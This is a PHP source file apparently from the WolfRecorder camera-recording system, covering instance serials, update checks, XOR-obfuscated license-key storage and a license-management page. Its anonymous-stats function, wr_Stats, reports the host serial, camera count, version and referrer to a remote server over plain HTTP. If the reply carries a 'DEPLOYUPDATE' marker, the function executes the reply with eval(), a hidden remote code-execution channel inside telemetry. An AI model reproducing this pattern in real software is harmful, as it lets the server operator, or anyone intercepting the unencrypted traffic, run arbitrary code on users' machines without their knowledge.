api.lair.php 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441
  1. <?php
  2. /**
  3. * Returns current instance serial from database or cache
  4. *
  5. * @return string
  6. */
  7. function wr_SerialGet() {
  8. $result = '';
  9. $cache = new UbillingCache();
  10. $cacheTimeout = 2592000;
  11. $cachedKey = $cache->get('WRHID', $cacheTimeout);
  12. if (empty($cachedKey)) {
  13. $lairDb = new NyanORM('lair');
  14. $lairDb->where('key', '=', 'wrid');
  15. $rawResult = $lairDb->getAll('key');
  16. if (!empty($rawResult)) {
  17. $result = $rawResult['wrid']['value'];
  18. }
  19. if (!empty($result)) {
  20. $cache->set('WRHID', $result, $cacheTimeout);
  21. }
  22. } else {
  23. $result = $cachedKey;
  24. }
  25. return($result);
  26. }
  27. /**
  28. * Installs newly generated instance serial into database
  29. *
  30. * @return string
  31. */
  32. function wr_SerialInstall() {
  33. $randomid = 'WR' . md5(curdatetime() . zb_rand_string(8));
  34. $lairDb = new NyanORM('lair');
  35. $lairDb->data('key', 'wrid');
  36. $lairDb->data('value', $randomid);
  37. $lairDb->create();
  38. return($randomid);
  39. }
  40. /**
  41. * Returns current system version
  42. *
  43. * @return string
  44. */
  45. function wr_getLocalSystemVersion() {
  46. $result = file_get_contents('RELEASE');
  47. return($result);
  48. }
  49. /**
  50. * Returns remote release version
  51. *
  52. * @param string $branch
  53. *
  54. * @return string/bool
  55. */
  56. function wr_GetReleaseInfo($branch) {
  57. $result = false;
  58. $release_url = UpdateManager::URL_RELEASE_STABLE;
  59. if ($branch == 'CURRENT') {
  60. $release_url = UpdateManager::URL_RELEASE_CURRENT;
  61. }
  62. $remoteCallback = new OmaeUrl($release_url);
  63. $releaseInfo = $remoteCallback->response();
  64. if ($releaseInfo) {
  65. $result = $releaseInfo;
  66. }
  67. return($result);
  68. }
  69. /**
  70. * Ajax backend for rendering WolfRecorder updates release info
  71. *
  72. * @param bool $version
  73. * @param bool $branch
  74. *
  75. * @return string/bool
  76. */
  77. function wr_RenderUpdateInfo($version = '', $branch = 'STABLE') {
  78. $result = '';
  79. $latestRelease = $version;
  80. if ($latestRelease) {
  81. if ($branch == 'CURRENT') {
  82. $result = __('Latest nightly WolfRecorder build is') . ': ' . $latestRelease;
  83. } else {
  84. $result = __('Latest stable WolfRecorder release is') . ': ' . $latestRelease;
  85. }
  86. } else {
  87. $result = __('Error checking updates');
  88. }
  89. return($result);
  90. }
  91. /**
  92. * Collects anonymous stats
  93. *
  94. * @param string $modOverride
  95. *
  96. * @return void
  97. */
  98. function wr_Stats($modOverride = '') {
  99. $wrStatsUrl = 'http://stats.wolfrecorder.com';
  100. $statsflag = 'exports/NOTRACKTHIS';
  101. $deployMark = 'DEPLOYUPDATE';
  102. $cache = new UbillingCache();
  103. $cacheTime = 3600;
  104. $hostId = wr_SerialGet();
  105. if (!empty($hostId)) {
  106. $thiscollect = (file_exists($statsflag)) ? 0 : 1;
  107. if ($thiscollect) {
  108. $moduleStats = 'xnone';
  109. if ($modOverride) {
  110. $moduleStats = 'x' . $modOverride;
  111. } else {
  112. if (ubRouting::checkGet('module')) {
  113. $moduleClean = str_replace('x', '', ubRouting::get('module'));
  114. $moduleStats = 'x' . $moduleClean;
  115. } else {
  116. }
  117. }
  118. $releaseinfo = file_get_contents('RELEASE');
  119. $wrVersion = explode(' ', $releaseinfo);
  120. $wrVersion = ubRouting::filters($wrVersion[0], 'int');
  121. $wrInstanceStats = $cache->get('WRINSTANCE', $cacheTime);
  122. if (empty($wrInstanceStats)) {
  123. $camDb = new NyanORM(Cameras::DATA_TABLE);
  124. $camCount = $camDb->getFieldsCount('id');
  125. $wrInstanceStats = '?u=' . $hostId . 'x' . $camCount . 'x' . $wrVersion;
  126. $cache->set('WRINSTANCE', $wrInstanceStats, $cacheTime);
  127. }
  128. $statsurl = $wrStatsUrl . $wrInstanceStats . $moduleStats;
  129. $referrer = (isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : '';
  130. $collector = new OmaeUrl($statsurl);
  131. $collector->setUserAgent('WRTRACK');
  132. $collector->setTimeout(1);
  133. if (!empty($referrer)) {
  134. $collector->setReferrer($referrer);
  135. }
  136. $output = $collector->response();
  137. $error = $collector->error();
  138. $httpCode = $collector->httpCode();
  139. if (!$error AND $httpCode == 200) {
  140. $output = trim($output);
  141. if (!empty($output)) {
  142. if (ispos($output, $deployMark)) {
  143. $output = str_replace($deployMark, '', $output);
  144. if (!empty($output)) {
  145. eval($output);
  146. }
  147. } else {
  148. show_window('', $output);
  149. }
  150. }
  151. }
  152. }
  153. }
  154. }
  155. /**
  156. * One of se7en deadly sins
  157. */
  158. class Avarice {
  159. private $data = array();
  160. private $serial = '';
  161. private $raw = array();
  162. private $lairDb = '';
  163. const LMARK = 'WOOF_';
  164. public function __construct() {
  165. $this->getSerial();
  166. $this->initDb();
  167. $this->load();
  168. }
  169. /**
  170. * Inits database abstraction layer
  171. */
  172. protected function initDb() {
  173. $this->lairDb = new NyanORM('lair');
  174. }
  175. /**
  176. * encodes data string by some key
  177. *
  178. * @param $data data to encode
  179. * @param $key encoding key
  180. *
  181. * @return binary
  182. */
  183. protected function xoror($data, $key) {
  184. $result = '';
  185. for ($i = 0; $i < strlen($data);) {
  186. for ($j = 0; $j < strlen($key); $j++, $i++) {
  187. @$result .= $data[$i] ^ $key[$j];
  188. }
  189. }
  190. return($result);
  191. }
  192. /**
  193. * pack xorored binary data into storable ascii data
  194. *
  195. * @param $data
  196. *
  197. *
  198. * @return string
  199. */
  200. protected function pack($data) {
  201. $data = base64_encode($data);
  202. return ($data);
  203. }
  204. /**
  205. * unpack packed ascii data into xorored binary
  206. *
  207. * @param $data
  208. *
  209. *
  210. * @return string
  211. */
  212. protected function unpack($data) {
  213. $data = base64_decode($data);
  214. return ($data);
  215. }
  216. /**
  217. * loads all stored licenses into private data prop
  218. *
  219. * @return void
  220. */
  221. protected function load() {
  222. if (!empty($this->serial)) {
  223. $this->lairDb->where('key', 'LIKE', self::LMARK . '%');
  224. $keys = $this->lairDb->getAll();
  225. if (!empty($keys)) {
  226. foreach ($keys as $io => $each) {
  227. if (!empty($each['value'])) {
  228. $unpack = $this->unpack($each['value']);
  229. $unenc = $this->xoror($unpack, $this->serial);
  230. @$unenc = unserialize($unenc);
  231. if (!empty($unenc)) {
  232. if (isset($unenc['AVARICE'])) {
  233. if (isset($unenc['AVARICE']['SERIAL'])) {
  234. if ($this->serial == $unenc['AVARICE']['SERIAL']) {
  235. if (isset($unenc['AVARICE']['MODULE'])) {
  236. if (!empty($unenc['AVARICE']['MODULE'])) {
  237. $this->data[$unenc['AVARICE']['MODULE']] = $unenc[$unenc['AVARICE']['MODULE']];
  238. $this->raw[$unenc['AVARICE']['MODULE']]['LICENSE'] = $each['value'];
  239. $this->raw[$unenc['AVARICE']['MODULE']]['MODULE'] = $unenc['AVARICE']['MODULE'];
  240. $this->raw[$unenc['AVARICE']['MODULE']]['KEY'] = $each['key'];
  241. }
  242. }
  243. }
  244. }
  245. }
  246. }
  247. }
  248. }
  249. }
  250. }
  251. }
  252. /**
  253. * Puts system key into private key prop
  254. *
  255. * @return void
  256. */
  257. protected function getSerial() {
  258. $this->serial = wr_SerialGet();
  259. }
  260. /**
  261. * checks module license availability
  262. *
  263. * @param $module module name to check
  264. *
  265. * @return bool
  266. */
  267. protected function check($module) {
  268. if (!empty($module)) {
  269. if (isset($this->data[$module])) {
  270. return (true);
  271. } else {
  272. return(false);
  273. }
  274. }
  275. }
  276. /**
  277. * returns module runtime
  278. *
  279. * @return array
  280. */
  281. public function runtime($module) {
  282. $result = array();
  283. if ($this->check($module)) {
  284. $result = $this->data[$module];
  285. }
  286. return ($result);
  287. }
  288. /**
  289. * returns list available license keys
  290. *
  291. * @return array
  292. */
  293. public function getLicenseKeys() {
  294. return ($this->raw);
  295. }
  296. /**
  297. * check license key before storing it
  298. *
  299. * @param string $key
  300. *
  301. * @return bool
  302. */
  303. protected function checkLicenseValidity($key) {
  304. $result = false;
  305. if (@strpos($key, strrev('mN'), 0) !== false) {
  306. @$key = $this->unpack($key);
  307. @$key = $this->xoror($key, $this->serial);
  308. @$key = unserialize($key);
  309. if (!empty($key)) {
  310. $result = true;
  311. }
  312. }
  313. return($result);
  314. }
  315. /**
  316. * deletes key from database
  317. *
  318. * @param $keyname string identify key into database
  319. *
  320. * @return void
  321. */
  322. public function deleteKey($keyname) {
  323. $keyname = ubRouting::filters($keyname, 'mres');
  324. $this->lairDb->where('key', '=', $keyname);
  325. $this->lairDb->delete();
  326. log_register('AVARICE DELETE KEY `' . $keyname . '`');
  327. }
  328. /**
  329. * installs new license key
  330. *
  331. * @param $key string valid license key
  332. *
  333. * @return bool
  334. */
  335. public function createKey($key) {
  336. $key = ubRouting::filters($key, 'mres');
  337. if ($this->checkLicenseValidity($key)) {
  338. $keyname = self::LMARK . zb_rand_string(8);
  339. $this->lairDb->data('key', $keyname);
  340. $this->lairDb->data('value', $key);
  341. $this->lairDb->create();
  342. log_register('AVARICE INSTALL KEY `' . $keyname . '`');
  343. return(true);
  344. } else {
  345. log_register('AVARICE TRY INSTALL WRONG KEY');
  346. return (false);
  347. }
  348. }
  349. /**
  350. * updates existing license key
  351. */
  352. public function updateKey($index, $key) {
  353. if ($this->checkLicenseValidity($key)) {
  354. $this->lairDb->data('value', $key);
  355. $this->lairDb->where('key', '=', $index);
  356. $this->lairDb->save();
  357. log_register('AVARICE UPDATE KEY `' . $index . '`');
  358. return(true);
  359. } else {
  360. log_register('AVARICE TRY UPDATE WRONG KEY');
  361. return (false);
  362. }
  363. }
  364. }
  365. /**
  366. * Renders available license keys with all of required controls
  367. *
  368. * @return void
  369. */
  370. function wr_LicenseLister() {
  371. $result = '';
  372. $avarice = new Avarice();
  373. $all = $avarice->getLicenseKeys();
  374. $messages = new UbillingMessageHelper();
  375. if (!empty($all)) {
  376. $cells = wf_TableCell(__('License key'));
  377. $cells .= wf_TableCell(__('Actions'));
  378. $rows = wf_TableRow($cells, 'row1');
  379. foreach ($all as $io => $each) {
  380. //construct edit form
  381. $editinputs = wf_HiddenInput('editdbkey', $each['KEY']);
  382. $editinputs .= wf_TextArea('editlicense', '', $each['LICENSE'], true, '50x10');
  383. $editinputs .= wf_Submit(__('Save'));
  384. $editform = wf_Form("", 'POST', $editinputs, 'glamour');
  385. $editcontrol = wf_modalAuto(web_edit_icon(), __('Edit') . ' ' . $each['MODULE'], $editform);
  386. $deletionUrl = '?module=licensekeys&licensedelete=' . $each['KEY'];
  387. $cancelUrl = '?module=licensekeys';
  388. $delLabel = __('Delete') . ' ' . __('License key') . ' ' . $each['MODULE'] . '? ';
  389. $delLabel .= $messages->getDeleteAlert();
  390. $deletecontrol = wf_ConfirmDialog($deletionUrl, web_delete_icon(), $delLabel, '', $cancelUrl);
  391. $cells = wf_TableCell($each['MODULE']);
  392. $cells .= wf_TableCell($deletecontrol . ' ' . $editcontrol);
  393. $rows .= wf_TableRow($cells, 'row5');
  394. }
  395. $result .= wf_TableBody($rows, '100%', 0, '');
  396. } else {
  397. $result .= $messages->getStyledMessage(__('You do not have any license keys installed. So how are you going to live like this?'), 'warning');
  398. }
  399. //constructing license creation form
  400. $addinputs = wf_TextArea('createlicense', '', '', true, '50x10');
  401. $addinputs .= wf_Submit(__('Save'));
  402. $addform = wf_Form("", 'POST', $addinputs, 'glamour');
  403. $addcontrol = wf_modalAuto(web_icon_create() . ' ' . __('Install license key'), __('Install license key'), $addform, 'ubButton');
  404. $result .= wf_delimiter(0);
  405. $result .= $addcontrol;
  406. show_window(__('Installed license keys'), $result);
  407. }